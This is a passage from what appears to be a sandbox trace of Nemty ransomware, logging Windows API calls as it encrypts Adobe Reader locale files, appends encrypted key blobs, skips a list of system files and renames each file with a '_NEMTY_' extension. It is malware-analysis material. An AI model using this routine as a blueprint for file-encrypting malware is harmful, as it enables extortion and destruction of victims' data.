CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.757] Sleep (dwMilliseconds=0x5) [0185.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x225eba30, dwHighDateTime=0x1d561e8)) [0185.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x225eba30, dwHighDateTime=0x1d561e8)) [0185.769] GetLastError () returned 0x0 [0185.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.769] GetLastError () returned 0x0 [0185.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.769] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.770] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.770] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.770] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XBvhEOqQ+1vT7lwYHstfmGklqd4sOSYYr5AznTnFaTdAcddqYhsd5331P88yCF10\r\ncbK9gmTzYIDkLge3Kc74xxAp2aYcXvgUPfd8AdVbdwyV4JFH9ai8wsrTqHdmVq/Z\r\nTbEcT8NfqrOuFZM7MbqA/FqJrMhOwiP7xzKP+aB/bei6Swt8MELFHn6ePOZ8oE8u\r\nzFlPTxBW3PKFjvC5cJDTOhBwgx1CjcN1/eRgSL61j7ExJrSe2rBs0F2hGNlN+30D\r\njMdn+bOoqd03ePs8k5ZrTmBk+cmGeZMTWXCAADQrPSgpPiuyOgxacAbkaZYKiowK\r\nFAVnXqxnrpqAdm1LFTJCfQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Acroform.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\acroform.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.771] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=248832) returned 1 [0185.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.771] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.771] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.781] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.781] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.782] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=248832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cc00 [0185.782] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.782] CloseHandle (hObject=0x2e8) returned 1 [0185.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.782] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Acroform.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\acroform.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Acroform.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\acroform.chs._nemty_kgobjgd_")) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.783] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.CHS", cAlternateFileName="ADOBEC~1.CHS")) returned 1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2=".") returned 1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="..") returned 1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="...") returned 1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="windows") returned -1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="rsa") returned -1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="NTDETECT.COM") returned -1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="ntldr") returned -1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="MSDOS.SYS") returned -1 [0185.783] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="IO.SYS") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="boot.ini") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="boot.ini") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="AUTOEXEC.BAT") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="ntuser.dat") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="desktop.ini") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="CONFIG.SYS") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="RECYCLER") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="BOOTSECT.BAK") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="bootmgr") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="programdata") returned -1 [0185.784] lstrcmpiW (lpString1="AdobeCollabSync.CHS", lpString2="appdata") returned -1 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHS", lpUsedDefaultChar=0x0) returned 19 [0185.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHS", lpUsedDefaultChar=0x0) returned 19 [0185.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0185.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHS", lpUsedDefaultChar=0x0) returned 19 [0185.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHS", lpUsedDefaultChar=0x0) returned 19 [0185.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0185.785] Sleep (dwMilliseconds=0x5) [0185.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22637cf0, dwHighDateTime=0x1d561e8)) [0185.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22637cf0, dwHighDateTime=0x1d561e8)) [0185.796] GetLastError () returned 0x0 [0185.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.796] GetLastError () returned 0x0 [0185.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.796] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.796] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.797] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0185.797] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="NupOJyY1sDGI5Hm6TF0FCovMgsxv2u3dWbQses8TpcrsUy3ZQOX+UHvLqIzNhmGD\r\nOturP42Cr1uDAmznwWYHfL18LnIZoKrs8Iv/0yRloAmRcQCdjguCaZUVtXoVko+E\r\n6jkVRMoooLMG/267Nv6yoyJQS4HLiNoBKyqTEU81KxOmtmEXc6NMyOVSeEN9aeGS\r\n9NcJ/TVFKdW+543ukxxkWWgnwFZLY41li5rpE9TW6ERqEjOg8HKVzVx1hTqO3LHJ\r\nJBJgLCTbMCt4lE3jGJabuPJ9KLpslnOJz5e5mxbIHJDM4Wy1V8MNke8URDasF/eM\r\ndzZ4upTt6Jm2118vqyibXA==\r\n", pcchString=0x653e5dc) returned 1 [0185.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0185.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\AdobeCollabSync.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\adobecollabsync.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.797] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6144) returned 1 [0185.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1800) returned 0x6352c48 [0185.797] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.797] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1800, lpOverlapped=0x0) returned 1 [0185.800] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.800] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1800, lpOverlapped=0x0) returned 1 [0185.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.800] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1800 [0185.800] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.800] CloseHandle (hObject=0x2e8) returned 1 [0185.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0185.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0185.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0185.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0185.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.800] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\AdobeCollabSync.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\adobecollabsync.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\AdobeCollabSync.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\adobecollabsync.chs._nemty_kgobjgd_")) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.801] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, 